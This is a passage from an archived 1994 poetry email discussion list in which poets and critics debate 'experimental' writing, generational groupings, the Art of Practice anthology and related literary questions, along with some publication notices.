gathered results, that he "pleased a greater number" than he hoped and presumably displeased about the same number as he had expected. Wordsworth adopts, and modifies, the scientific model of experiment. Later in the Preface, he distinguishes the poet's from the scientist's nature; the poet studies "general nature" (not Platonic or Johnsonian, but familiar nature, ordinary life) and the scientist studies the "particular parts of nature" of her/his field. Wordsworth prophesies that if "Men of Science should ever create any material revolution, direct or indirect, in our condition, and in impressions which we habitually receive," these effects would become "proper objects of the Poet's art." Is WW's idea of experiment independent, with its emphasis on the truth of pleasure, of its origins in Burke and association theory (Locke, Hartley, Mill)? I don't know. To experiment now, with readers (and other writers), in poetry might mean, for example, representing the indirect "material revolution" of the internet experience to readers as part of their new nature--(un)natural , pleasurable, strange, manageable, manipulative, inevitable, and so on. In any case, Wordsworth's use of "experiment" is rhetorical, drawing on the status of the scientific discourse of knowledge, in order to distinguish his practice from what he saw as conventional poetic discourse. I'm not sure the current use of "experimental" (or "innovative" or "alternatives" for that matter) is any less rhetorical, or any less inexactly effective.

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27. John Shoptaw
Listings
Fri 4 Nov 1994

I'd like to announce my forthcoming critical work:

On the Outside Looking Out: John Ashbery's Poetry
(Harvard UP, Dec.94).
386pp., $25pb, $50hb!!

Too expensive, but there's some ms. facsimiles.

John Shoptaw

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28. Tony Green
Re: Experiwhat?
Sun 6 Nov 1994

Further towards the bibliography of art&science , Naum Gabo in CIRCLE, ed.J.L.Martin, B.Nicholson & N.Gabo. 1937 (U.S.Ed.Praeger,1971) "The Constructive Idea in Art" pp.1-10. Analogies between Science and Art as

knowledge of the world are continuously at work there. "In Art more thn anywhere else in the creative discipline, daring expeditions are allowed. The most dizzying experiments are permissible, but even in Art the logic of life arrests the experiments as soon as they have reached the point when the death of the experimental objects becomes imminent. there were moments in the history of Cubism when the artists were pushed to these bursting points...." (p.5)

Also Christina Lodder. "Russian Constructivism" Yale, 1983. pp.78- 82 on the work of INKhUK. IZO declaration of 1919, where "the concept of artisitic culture is defined as the "culture of artisitic invention".....

Further, students of Malevich will know that he conducted "experimental" workshops in which the concerns were the effects of different "forms" -- on people, one supposes.

Could one suspect that "control" is at issue, by the artist/writer, over "effect" on the "reader/viewer"; that mistrust of artworks as "spurious" (uncontrolled messing around] is also connected with ideas about "control" over communicatory messages and meanings, including the message that "this is a serious work".... However, quantities of boring artworks in galleries and in print should be a warning that "experiment" covers a multitude of ineptitudes, worst of all a desire to pose as artist, limiting what is required as qualification to a low-level of market expectation. (There is a market-niche for experimental junk, it seems]. There is also a need to take chances in the making of anything to offset a rigidity in preliminary planning: that's experimental in the sense of not quite knowing where the .... or how the .... work will end. "Experimental" is good or bad depending on where and when you're aiming, I'd conclude.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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29. Ron Silliman
Re: C&C
Mon 7 Nov 1994

"I hope this makes sense. I would enjoy complaints and clarifications."
>Juliana Spahr

I noted the other day (before I went to San Diego for a reading & a class at UCSD) that I appreciated Juliana's post a lot. In particular, she approaches the project of sketching out this new terrain more completely than I've seen done heretofore. And that's precisely what (I think) we need. Or I need, anyway. The following thoughts fall almost entirely into the "clarification" column.
>
>What I find most frightening about Silliman's arguments is
>his reduction of everything in Buffalo
>or even elsewhere in the nation to a sort of spiritualism
>(it is the only grouping that he acknowledges as really
>having any seriousness)
>that finally isn't representative of the larger picture.

Two thoughts: I've tried to be specific about the fact that:

(1) I know that the "new mysticism" (or whatever one calls this tendency) is not all that is the case, in Buffalo or elsewhere. In fact, I've noted at least twice that several O 12 contributors make that point repeatedly in conversation. I have said that they are the one group that to date has attempted to articulate theoretically a transformed ground for poetics, not simply an extension of what they inherited from G1, NAP or the rest of the acronyms.

(2) I've steered as clear as possible away from characterizing the Apex groups sense of spiritualism. While my own sense of the world may approach something akin to an atheist variant of zen buddhism, I'm fully aware of the pitfalls of approaching that discussion from a post-Enlightment vocabulary and expecting to get much use value out of the ensuing debate.

> *Chain in fact is a journal that in many ways pursues an opposite agenda as that of Apex--*
> *it is anti-editorial, anti-grouping.*
> *The use of the device of the chain letter*
> *in the first volume was explicitly intended to expand community definitions beyond editorial privilege*
> *(Jena and I wrote about the success and failure of this project in our "Editors' Notes").*

This is an interesting essay, well worth reading in its own right & a perfect example of a text that would not be fun to try and fit into the various constraints of email. The concept of anti-editorial editing is problematic and the Chain editors understand it. From my perspective, I'm intrigued at the desire inscribed in the project. It definitely rings the "hatred of identity" bell from Steve Evans intro to the Technique section of O12. And it differs dramatically from the judgmental "state of the art" (SotA) manifesto in Apex.

>Also neither of the editors of the Technique volume are on the board of
>Apex of the M. But while this is probably just a confusion on
Silliman's part,
>it also seems in some ways indicative of his blindness to anything
>going on in what seems to be called G2 poetry beyond spirit.

Maybe. I wouldn't bet against it. But you neglect to note that two of the editors of Poetics of Criticism are also editors of Apex, while you are an editor of Poetics, O 12 AND Chain. Oliver Stone would have a field day with this kind of stuff.

> *Beginning the Technique volume with the Spirit section*
> *was something that went counter*
> *to my editorial wishes and knowledge*

And KNOWLEDGE??

> *(I wanted to open with the broader "word and world" section),*
> *but also I think should not be read as "aggressive."*

Aggressive is not a negative word in my vocabulary
(coming as I do from the Watten/Andrews charm school tradition)
But I find it hard to read otherwise

> *Peter argues that when he sent this volume off to the printers*
> *with the spirit section first, it was to try to offer some*
> *connection with the Presentation volume--*
> *both begin with Abbot and end Ziolkowsky.*
> *I am willing to chalk it up to alphabetical accident.*

Ganick says that, with one exception, the order of The Art of Practice was exactly that of the receipt of manuscripts from the authors (one more reason to be prompt when solicited!), but I generally don't believe in accidents. Each approach (any approach) is a demonstration of method.

>But also I don't think that
>any more than the twenty-one poets in the spirit section
>have much to do with spirit (and come on, even of these twenty-one,
>beyond a statement of an idea of poetics
>as being transformative, it is hard to see these poets as a unified
group--

I agree completely.

> *Miekal And, Lisa Jarnot are hardly spiritualist poets*

True enough if we are speaking in the narrow terms that seem implicit in Apex's "SotA", but Miekal is very much a utopian in spirit. I'm much more struck by the distance in approach given by Steve Farmer (one of my favorite pieces in the entire book--totally sensible and on target) and Alan Gilbert's in

that same section. Gilbert's piece seeks to rework the possibility of poetry, philosophy & history in a space of maybe 600 words. I find Gilbert's piece entirely problematic--the privilege he gives to the "other" (which he places transcendentally outside "the dialectic," a phrase he uses way too nominally) and the solid object he seems to envision as the self. But I'm impressed that he wants to accomplish this or even thinks it possible.

I want a poetics in which both Farmer and Gilbert seem possible, even in the same paragraph.

> *Finally, to see the anthology as spiritualist is to*
> *do a great and serious disservice to around one hundred other poets.*

111, to be exact. The two volumes have 132 writers by my count. The volume called Presentation

-- I forget who first pointed out that this distinction between presentation and technique almost perfectly mimes that of competitive ice skating --

has 114 poets in 334 pages, which comes to 2.9298245 pages per contributor. Obviously there are limitations that any editor will confront trying to include so many. But it's worth noting that 33 (more than a quarter) have more than one poem in the collection. Many others have complete works that gather together distinct shorter pieces (e.g. Clint Burnham, Susan Wheeler, Lori Baker). Just 34 are represented by works larger than their meager page allotments and only a very few have work present from anything that hints, however roughly, at a genuinely longer form (Lew Daly, Dan Davidson, Brian Schorn).

Given that the overall age of contributors here is not significantly younger than that of the poets of Tree (or the NAP), that turn away from the longer form seems noteworthy, not accidental.

So that when I think of the vast number of G1 poets involved in longer forms (not just from the Tree--where Coolidge, Greenwald, both Howes, Watten, Hejinian, Rodefer, Melnick, Palmer, Benson, Harryman, Weiner, Andrews, Inman, Darragh, Mayer, Sherry, DiPalma, and even Grenier have written booklength works) but Scalapino, Dahlen, DuPlessis, Byrd, Mackey, McCaffery, nichol, Brossard, Raworth, Fisher…the list just goes on and on. While this doesn't and shouldn't negate the work of those who work almost exclusively in shorter forms (Armantrout, Robinson, Bernstein, for example), the difference in the overall conception of the poem strikes me as profound. I'm interested in exploring that distinction, the causes for it, and the implications of it. Historically, history has not been kind to the authors of shorter poems since WW2 (Creeley being the rather obvious exception), and my comments re Lew Welch previously--to which nobody responded--still hold.

A second differentiation (and a whole other discussion) has been the adoption of the unpunctuated fragment as a unit w/in the poem, which is much more prevalent in G2 than G1 (tho it certainly has origins in Howe, Coolidge, Grenier et al).

> *Just as to say that the anthology indulges in*
> *"increasingly modest forms"*
> *is to do a great disservice to a whole slew*
> *of writers (who are these people, Ron?*

See above.

> *who is "returning to the lyric?*

Here, the need for a good definition of the lyric really stands up. I continue to insist on it as one of the 3 classic divisions of poetry, the others being narrative & dramatic, the latter two having been largely diverted via the evolution of other media, so that lyric (any poem in which, contra narrative & drama, turns attention to the language and not to constructs of plot or person) becomes diffuse, relatively vague, which in turn leads to EP trying to reinstitute a trivium (melo, phano, logo) w/in the confines of the lyric. There has been virtually no good work BY POETS on this topic since then, but my gut feeling here is that the evolution of the longpoem dramatically alters what "the lyric" means, esp. when it is not of the "poem containing history" frame set by Pound. So the absence of the longpoem represents a major statement.

> *what are their numbers in this volume?*

Roughly 98%.

> *who is draining the social?*
> *what is the social and why is the lyric not social?--*

Here the question of what is the motivation for the new lyric needs to be articulated. Evans has made one attempt ("hatred of identity') and SotA could be read as another, as could some of Chain's chain. But I think this question is still totally on the table and unanswered. (So I'm probably just being argumentative in characterizing it as a draining, but I'd like to hear somebody specifically articulate the function of the social w/in the form.)

> *these are all innocent questions on my part,*

I'll admit that I'm not "innocent" in this if you will

> *I need more specifics to actually begin to discuss this topic*
> *which is one that seems very urgent to me).*

Me too.

>It is, to just list some names at random,
>unfair to Lee Ann Brown's and Karen Kelley's attention to sexuality,

>unfair to Kevin Magee's mix of formalism, class struggle, and history,
>unfair to Myung Mi Kim's attention to relation,
>unfair to Susan Gevirtz's complicated feminism and attention to subjectivity,
>unfair to C.S. Giscombe's attention to identity.
>It is also I think unfair to the overt
>political intention in the anthology to include as many women as men
>(something that other anthologies of alternative poetry
>don't even come close to attempting and something that
>never seems to get mentioned in any complaint about this collection).
>Further, I am no longer sure any more, although I would have been a year ago,
>that a return to the lyric is a draining of the social.
>For starters, it is difficult to separate the social from any form.
>Susan Stewart's recent work on the lyric has done a lot of change
>the way I think of this form.

I don't know this reference. Please give a citation.

> *Also, I don't see the anthology has having a*
> *"reluctance to acknowledge or own its own position."*

Yo, Juliana, the order went to press w/o your knowledge and represents an "alphabetical accident"--how many stances can you take?

>If there is anything that sits owl-like overlooking a younger generation
>it isn't language poetry
>anymore than it is the New York school--
>it is rather attempts at categorization, at bunker mentality.

Oh posh. Categorization begins w/ trying to tell wolves from dogs, edible plants from poisonous ones. "Bunker?"

> *Perhaps the reason such a collection seems such a strange beast*
> *to Silliman is that it is... a collection of*
> *younger poets--*

Not especially compared to the Tree or NAP.

> *all of whose writing will change dramatically in the next years.*

As will we all.

> *I prefer to think of the anthology*
> *as more of a phonebook than even an anthology*

-- I actually think this stance shortchanges the reader. It denies them any possible insights you as an editor have. If it's going to be a phone book, let it least be the yellow pages.

>(these complaints about the authority of this
>anthology that are happening in Joel's post and in the discussion of anthologies
>at the beginning of the year are very alien to me--
>what authority? the whole thing
>was thrown together and knows it).

Where/who is the agent of that last sentence?

>The numbers will change, people will move,
>but it is an attempt at a demographic for the year. It claims no completeness.

Another issue to discuss would be those poets who were at the conference who were not included in the book, vs. those who were not physically present who were -- and the nature of the upper age limit. There is some evidence to suggest that many women start to publish later than do men (often for reasons of parenting responsibilities) and a simple across-the-board age limit seems to carry in it a hidden gender bias (thus Weinberger's restriction of his anthology to writers born before the end of WW2 who were publishing after 1950 seems doubly set up to limit the # of women. The difference in gender ratios between Tree and the Art of Practice seems very much to reflect the latter book's ability to bring in poets who had not begun to publish widely when I was working on Tree in '81-2.)

> *All of this has put me in the uncomfortable position of defending something that I have worked on.*

You really aren't coming across as defensive. That's what makes your comments here so valuable. I hate to use the charged word "authority" but you wield it w/ confidence.

Okay. It's near midnight & I'm to bed. I'd love to see clarifications on these clarifications.

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30. Michael Boughn
Re: experiwhat?
Mon 7 Nov 1994

So, Loss, I'm at a bit of a loss as to how to respond to your response to my response to the many responses to the experiwhat thread. If your post was a simple observation that few people are persuaded by arguments about issues as close to home as how they conceive of their poetry, I don't think there could be much argument about that. For better or for worse, Because I Say So is probably a place most of us have wound up at in conversations.

Still, I guess my response is So What? I can't say what the purpose of this space in fact is, but I would never propose it as a place where people should be persuaded of things. I certainly don't want to start one of those long, self-reflexive debates about what exactly we're doing here. I rarely know, frankly. Every once in while though, it seems something provokes people to write of their own experiences with and in poetry. Some kind of excitement gets generated, and to a certain extent that seems adequate to me.

If it's not something I'm interested in, I tune it out, delete the messages dead on the spot. Sometimes I just follow them and think about what people are saying. Sometimes I foolishly leap in, knowing that it will make no profound difference, but game for a conversation, as far as it goes. At its best, it helps me work out certain thoughts and feelings of my own, stuff I might not otherwise get to, like my feelings about "experimental poetry". That really came up because of a conversation with some students in one of my classes. I thought I'd see what others with an intimate involvement with poetry thought of it. And I ended up working out certain unresolved problems in my own thinking about issues of prosody, poetic form, and their relation to forms of life (including the so-called "social"). I certainly had no interest in trying to force others into agreement with me.

In the meantime, I got to read Robert Kelly's interesting take on experiment and alchemy, Don Byrd's proposal about the mainstream, George Bowering's witty interjections, Alan Sondheim's interesting non-linear notions of tradition, Ron Silliman's provocative analysis, Joel Kuszai's very funny critique, and numerous other interesting takes on the question of experiment and related threads.

So I guess I remain unclear on how Because I Say So relates to this process, other than as an instigator of silence. But maybe your experience of it is altogether different again.

Best,
Mike
[redacted]

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31. Ron Silliman
Re: this space
Mon 7 Nov 1994

I can't say what the purpose of
>this space in fact is, but I would never propose it as a place where
>people should be persuaded of things. I certainly don't want to start
>one of those long, self-reflexive debates about what exactly we're

doing
>here. I rarely know, frankly. Every once in while though, it seems
>something provokes people to write of their own experiences with and in
>poetry. Some kind of excitement gets generated, and to a certain extent
>that seems adequate to me.
>

It's a form, Mike,
and a reasonably interesting one in its own terms,
not dissimilar from Chain's chain
(EXCEPT for the gender ratios!!),

it's a "book"
unedited & in progress
(& indeed could eventually be collected as one
tho whether anyone would ever have the energy/dedication/$$ to do same
is an entirely different question)

&, as you note, its relation to "topic"
is contingent at best,

Best,
Ron

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32. John Dolan
Groups: A Fable
Mon 7 Nov 1994

Suppose we come down out of the pious talk about "groups" and talk about the world we have seen--the seminar world--and the way groups gain power there. Odd how no one seems to want to talk about things like this, things they've actually witnessed.

As my contribution, let me tell you a completely fictional, utterly untrue story about something which happened to a totally imaginary friend of mine. Let's say, just for fun, that this totally imaginary fictional untrue story took place in a fantastical, imaginary place called San Francisco. An imaginary friend of mine was attached to a literary faction which defined itself by its noble refusal to become involved in the academic-poetry world. They published their own and each others' poems, and then wrote the commentaries, creating a very efficient version of a poetic perpetual-motion machine. They were very fond of the more bloodsoaked jargons of the earlier twentieth century, and did everything they could to make the balmy prosperity of California play a Berlin-like, Petersburg-like backdrop for their display of proud defiance--which was great, because you

got the defiance without having to deal with the cold weather and the secret police.

My wholly imaginary friend, who was growing older and lacked the absolute, Berlin-like literary ego possessed by his friends in this faction, enrolled in graduate school in the hope of finding a job. He was instantly ostracized by his equally imaginary friends in the faction. He didn't exist any longer, as far as they were concerned.

Now comes the equally formulaic, wholly invented punch-line. My imaginary friend found that he couldn't handle the slow pace and lack of conviction of the academic world. After a few years, he dropped out of graduate school, and lived unhappily ever after in, let's say, Berkeley. And six years after being frozen out by this faction, he was walking through Berkeley when he met a high-ranking figure in the faction, whose initials were--let's just choose some initials at random--RP. And this RP, whose noble defiance had been among the noblest and most defiant of noble defiances, greeted my friend cheerfully. My friend found this surprising, but as they chatted, he learned the reason for this cheery and forgiving tone. The imaginary faction member, the nobly defiant RP, was leaving to take a job with a very prestiguous university press.

Moral of the story: If you do it right, noble defiance pays like anything.

↑ Index

33. Tony Green
Re: experiwhat?
Mon 7 Nov 1994

I guess Michael Boughn could claim that as instigator of the loop the e-posts took he was the experimenter and this list of "missing" persons at their keyboards the experimented-upon, who rose to the occasion and started singing their different toons.

It's a lot of fun, but I had thought I might find in this conversation a conspiracy of poets, as for instance, 1) to seize all key intellectual positions 2) talk dirty politics about dirty politicians, 3) insert chasms typos and spoonerisms into key documents, --- "unless they meet our terms"....

Ads for such hot articles as the revolutionary text "Writing's Revenge! Poems of denunciation": Three parts: I."I abominate!" 2. "I loathe!" 3. " I despise!"

Surely with the charm school boys as the front row forwards -- & William Burroughs redivivus selling tennis shoes. It must be time to Blast. -- again?

Tony Green,
e-mail: [redacted]

post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

34. Michael Boughn

Re: whatever

Tue 8 Nov 1994

Well, Tony, I guess we could step behind the shit house and bombard each other with poems. It might be fun, although whether it--or any other fight you want to pick--will hold off whatever alien intelligence seems to be secretly devouring (kind of like those slimy things in the recent *Puppet Masters* movie) those dear old landmarks of cultural resistance now sadly spiffed up in their Gap khakis and Nikes seems problematic.

Actually, thinking of my experience at its best on this thing, I am reminded of Giorgio Agamben's *The Coming Community* where he writes of a community of "whatever singularities" who "do not possess any indentity to vindicate nor any bond of belonging for which to seek recognition." Interestingly in terms of your point, he goes on:

> For the State, therefore, what is important is never the singularity as such, but only its inclusion in some identity, whatever identity (but the possibility of the *whatever* itself being taken up without an identity is a threat the State cannot come to terms with). (85)

The best way to resist the aliens then is not to battle for some new identity (shades of Ron's comments on Alan Gilbert's piece in the NC anthology) like King of the Beats, counter-culture Wild Man, a Really Bad Guy, etc. which will only be integrated into the Spectacle and sold (think also of the end of Bruce Sterling's *Islands in the Net* where imitations of the Outlaw Revolutionarys' dune buggies become a really hot item during the Christmas shopping season). On the contrary, if resistance is of interest to you, perhaps the only path left is to be *whatever*, as Agamben has it, and thus to become absolutely irrelevant to the State.

Of course this won't help anybody get any governemnt money. If that's what they want. Alas.

Best,
Mike
[redacted]

↑ Index

35. A M Allcott
KIOSK Call for Work
Tue 8 Nov 1994

Send your work to another buffalo magazine!

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Spring 1995 Issue:
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and many more. We'd like to include you.

Send submissions to:
KIOSK Poetry Editors
Department of English
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260

or submit electronically to:

[redacted]

Deadline: Dec 6, 1994

Many thanks,
A. M. Allcott and Charlotte Pressler, Poetry Editors.

↑ Index

36. Charles Bernstein
from TONY GREEN /repost of bounced msg
Wed 9 Nov 1994

--Boundary (ID rcYJQ3zHL7Qldt8MVj3Z9Q)

[Message was bounced because the extracted portion included the to/from header of the extracted message. Evidently this confuses the machine. --C.B.]

>Actually, thinking of my experience at its best on this thing, I am
> reminded of Giorgio Agamben's *The Coming Community* where he
writes
> of a community of "whatever singularities" who "do not possess
any
> indentity to vindicate nor any bond of belonging for which to seek
> recognition." Interestingly in terms of your point, he goes on:
>
> For the State, therefore, what is important is never
> the singularity as such, but only its inclusion in some
> identity, whatever identity (but the possibility of the
> *whatever* itself being taken up without an identity
> is a threat the State cannot come to terms with). (85)
> On the contrary, if resistance is of interest to you, perhaps the
> only path left is to be *whatever*, as Agamben has it, and thus to
> become absolutely irrelevant to the State.
>
> Of course this won't help anybody get any governemnt money. If
that's
> what they want. Alas.
>
> Best,
> Mike
> [redacted]
>

There is a certain difficulty for anyone who works in academia for the "whatever" position, advocated as most resistant (depends on government money usually] . Silence? no publication? is that what "whatever" would really entail, a kind of invisibility-inaudibility as the philosophically best way to live one's life. Gentle prods, subtle instigations, carefully guarded interventions? No action at all? Let the "aliens" (?] do as they please....

Tony Green,
e-mail: [redacted]
post: Dept of Art History,

University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

--Boundary (ID rcYJQ3zHL7Qldt8MVj3Z9Q)--

↑ Index

37. Tony Green
Re: from TONY GREEN / "whatever"
Mon 14 Nov 1994

Date: Wed, 09 Nov 1994 09:48:31 -0500
Subject: from TONY GREEN / "whatever"

>Actually, thinking of my experience at its best on this thing, I am
> reminded of Giorgio Agamben's *The Coming Community* where he
writes
> of a community of "whatever singularities" who "do not possess
any
> indentity to vindicate nor any bond of belonging for which to seek
> recognition." Interestingly in terms of your point, he goes on:
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> become absolutely irrelevant to the State.
>
> Of course this won't help anybody get any governemnt money. If
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> Best,
> Mike
> [redacted]
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There is a certain difficulty for anyone who works in academia for the
"whatever" position, advocated as most resistant (depends on government

money usually] . Silence? no publication? is that what "whatever" would really entail, a kind of invisibility-inaudibility as the philosophically best way to live one's life. Gentle prods, subtle instigations, carefully guarded interventions? No action at all? Let the "aliens" (?] do as they please....

(This reply bounced on 9 Nov. It's now 15 Nov, but ....]

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

--Boundary (ID rcYJQ3zHL7Qldt8MVj3Z9Q)--

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

38. J. Moxley
THE IMP-FILES
Tue 15 Nov 1994

---

*THE IMP IS OUT THERE * TRUST NO ONE* GOVERNMENT DENIES KNOWLEDGE * ----------

ODDLY SHAPED CRAFT ARRIVES 4TH-CLASS INTERGALACTIC

ALIENS IDENTIFIED AS G2-TYPE SPECIMENS, GOV'T AGENCIES WORRIED ABOUT OUTBREAKS OF LYRICISM AT REPORTED LANDING SITES

RELEASE STATEMENT CLAIMING NEA LEFT THEM NO EARTHLY ALTERNATIVE

WARN THAT THEY WILL COMMENCE DRAINING THE SOCIAL IF DEMANDS NOT MET

EARLY REPORTS OF FORCED SCROLL INGESTION DISPROVEN

CLAIM MISREAD TRANSMISSION LED MARTIANS TO HIRE AGENT SPICER TO MOVE *THEIR* FURNITURE: VOCAB DIDN'T DO IT TO HIM!

ABDUCT YOUR COPY OF IMPERCIPIENT 6 BY WRITING
J. Moxley, 61 E. Manning St, Providence RI 02906
or sending e-message to [redacted]

N0.6 Tanya Erzan, Brian Kim Stefans, Jennifer Blackledge, NOV. 1994
Sally Silvers, Beth Anderson, Juliana Spahr, Mark $5 DuCharme, Gale
Nelson, and Helena Bennett

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↑ Index

39. George Bowering

Re: Experiwhat?

Wed 16 Nov 1994

You reminded me that in "Hugh Selwyb Mauberley" toward the end somewhere, HSM is called a drifting precipitatre, which suggests (without the unfortunate r I stuck in that word) a chemistry lab. And T.S.Eliot liked the word "transmute" regarding poetry and the poet's mind, which at least suggests alchemy.

↑ Index

40. Robert Drake

reqest for reviewer: new Russian poetries

Wed 16 Nov 1994

TapRoot Reviews is looking for someone w/ some related back ground to review some or all of the following material:

Arkadii Dragomoschenko: "Description" --Sun & Moon
"Zenia" --Sun & Moon Alexei Parshchikov "Blue Vitrol"
--Avec Books K Johnson & S. Ashby, eds. "Third Wave" --Michigan U
Gerald Smith, ed. "Contemp. Russian Poetry" --Indiana

additional/possible mention of John High's "Polycontexts" piece in WITZ/fall '92; Russian work appearing in FIVE FINGERS REVIEW 8/9; or "Leningrad" by Hejinian, Silliman et.al. might also be useful; other suggestions would be welcome. if you have interest &/or familiarity with this body of work, and would be willing to do a Very Brief survey/introduction for a future issue of TapRoot Reviews, please contact me.

luigi-bob drake
Burning Press/TRR
[redacted]

↑ Index

41. John Cayley
Hologographic
Fri 18 Nov 1994

.... and not experimental?

I certainly remember making hypotheses and waiting for results.

'actual possession ...' (enclosed below) is the most recent result.

John Cayley Wellsweep Press
Tel & Fax: 0[redacted] Email: [redacted]
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MOODS & CONJUNCTIONS. Indras Net III. Collocational procedures applied to three related texts, g

An Essay on THE GOLDEN LION: Han-Shan in Indras Net. Indras Net IV. A mesotic demonstration of i

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ACTUAL POSSESSION OF THE WORLD *

John Cayley

actual possession of the world
left Gu Cheng exposed maimed and handicapped
this shining road back to the city
into his own shattered emptiness
finally I listened to the sounds like leaves or any other violence of the picture
there is something in their lives that keeps them following this sound
on the other side I could go anywhere
recall a life that is distant from our own
but this doesnt trouble me because I didnt use words
he constantly tried to return
following this phrase became the picture
once I thought I felt that a new young light had awoken in the woman
all softly speaking in a particular kind of way
one of the worlds unceasing infinity of transformations
the violation of corporal integrity is in the wind
they were flooded with both their lives
they were flooded with the body
and my ears went deaf
became fraught and fell ill and she asked me what colour
a truly extraordinary sound
the speech of the cascading rays
I didnt write poetry I didnt use words he claimed
taken from the world he had left long ago into his own shattered emptiness
living into this world
both created and enforced
to imagine such hatred
I awoke I answered we keep on living I began to think of endless transformation
and in gesture like a secret afterwards I began to think of these phrases
they really were flying closer and they turned into words
dawn was the summit and night was speaking
for reasons that were flying closer
suddenly the sounds poured endlessly into my life because I didnt use words
taken from the world both created and enforced
I began to think of whiteness
this shining road back to the surface of the final sound

[* Lines gleaned at average collocational strictness 386/500 from Gu Chengs
The sounds I hear /

↑ Index

42. John Cayley
Listings
Sat 19 Nov 1994

The WellSweep Press Catalogue follows:

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The WellSweep Press

information/catalogues [redacted]
inquiries/correspondence [redacted]

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Catalogue prices are subject to change without notice.

↑ Index

43. krickjh
Return of the Son of Anthologies
Mon 21 Nov 1994

Dear Poetics List,

Was following the anthology wars to some degree around the end of the summer. I'm wondering if anyone knows anything about the Rothenberg and Quasha "America, A Prophecy" collection. It's out of print as far as I know, and I wish it weren't.

John Krick

↑ Index

44. Pierre Joris
Re: Return of the Son of Anthologies
Mon 21 Nov 1994

Yes, indeed, John, AMERICA A PROPHECY has been out of print for a long time now, & many of us wish it weren't so. There is however little chance for this to change, as getting a book of that order back into print is extremely time consuming & expensive (find publisher, renegotiate all the rights, etc.) Then

again, maybe some University press will pick the project up, as UC & UNM have done with other Rothenberg anthos...

Pierre Joris

> *Dear Poetics List,*
>
> *Was following the anthology wars to some degree around the end of the summer. I'm wondering if anyone knows anything about the Rothenberg and Quasha "America, A Prophecy" collection. It's out of print as far as I know, and I wish it weren't.*
>
> *John Krick*

========== Pierre Joris | Dept. of English | "La poesie ne s'impose plus, elle s'expose." SUNY Albany | Paul Celan Albany NY 12222 | tel&fax:[redacted] | email: | "He who leaves a trace, leaves an abcess." [redacted]| Henri Michaux ==========

↑ Index

45. Robert Drake

Re: Return of the Son of Anthologies

Mon 21 Nov 1994

> *Was following the anthology wars to some degree around the end of the summer. I'm wondering if anyone knows anything about the Rothenberg and Quasha "America, A Prophecy" collection. It's out of print as far as I know, and I wish it weren't.*
>
> *John Krick*

john--

don't know that one, but you reminded me of Quasha & Gross's "Open Poetry", also, i suspect oop... any other additions to a list of valued anthologies apres Allen?

luigi

↑ Index

46. Paul Hoover x350

anthology wars

Mon 21 Nov 1994

I just signed onto this list a couple of weeks ago and have been enjoying the generation wars between G1 and G2, as if history started there! Ron's metaphor of the owl on the horizon is compelling symbolism; it makes G2 into the mice to be preyed upon. But mice can eat owls if there are enough of them. I am not a member of G1 because not a language poet but I have a strong sense of being a member of the most in-the-shadow generation, following the New Americans (sounds like a wholesome Up With People type group). Our generation is almost 50 years old and we're still in that shadow (though langpo has cleared some space). The best policy is to honor the elders as long as they're friendly, and many of them are. The owl is also ego, kills the competition. But this is not a knock on you, Ron, as I know you are considerate of younger writers and many others. Did a big owl like Olson smother his young or feed them? If I were of G2 age, I would never use the term as too junior-varsity.

Yes, "experimental" is a problem. Creeley told me that it was too self-marginalizing to use for title of Norton antho. But we've put ourselves in a corner by dismissing the term "avant-garde," which is still accurate although perhaps too Eurocentric and precious. This leaves us with "outsider" (Waldman) and "postmodern" which still holds but how long? Millenialist is as bad as experimental: Eliot's hooded hordes. The adjective "innovative" is nice but thinking you have to innovate each poem out is irritating. Re: alchemy, Octavio Paz used the term "alchemy of the word." Probably we are much too term-conscious because so eager to identify ourselves. I thought for a while of adopting the Chicago Imagist label but it seemed too self- promoting. Jackson Mac Low says that "avant-garde" is too militaristic in its history. So what? The first into battle are the most jeopardized, also get the largest honors. We admire WCW and Pound for it and try to do the same.

I thought that the discussion, however brief, on whether current practice (avant-garde) has any social agency was of great value. Does it, except to pound on white men, meaning a good number of those present? Or is experimental practice aestheticism?

I hear rumor of anthology wars from last summer. I'd be interested in having a copy of that discussion if anyone is willing to provide it.

Paul Hoover
e-mail: [redacted]

↑ Index

47. **George Bowering**
Re: Flaming
Tue 22 Nov 1994

Ron, I liked that long letter of yrs called "Flaming" of a little while ago;

that is, if anyone can call the lyric reactionary, he/she hasnt read Shelley with any intelligence. Some dolt might have something to say about SAhelley's personal-social habits and position being out of it today, but my guess is that same person might have worn mind shackles in 1816.

↑ Index

48. **George Bowering**
Re: experiwhat?
Tue 22 Nov 1994

Well, I saw a guy in the airport yesterfday, wearing a tee shirt that read "Chicago Bulls," and I thought "What if it does?"

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49. **George Bowering**
Re: experiwhat?
Tue 22 Nov 1994

Well, Mike, we know that Stein was trained in experimental psychology, so it would be a good idea to believe her when she says that she never wrote an experimental work (I presume that she was not including her lab exercise in automatic writing.)

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50. **George Bowering**
Re: G-ology
Tue 22 Nov 1994

Yeah, I have had the Siegel book for about 10 years but have never
read it. It's just a WCW iutem as far as I am concerned.
s

↑ Index

51. **Ron Silliman**
Shelley
Wed 23 Nov 1994

Nobody ever suggested that Shelley was unclear about his motivations.

I do recall writing that all form(s) is amoral. It can and does mean different things at different points in time and in different hands. A sonnet by Bernadette Mayer (now convalescing after a major stroke, by the way) is not the same one by a Timothy Steele or Dana Gioia.

The world has changed since Shelley's time. Hell,
it's changed dramatically since 1980.

Can you imagine Olson on the net?

Ron

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52. **eric pape**
Re: Shelley
Wed 23 Nov 1994

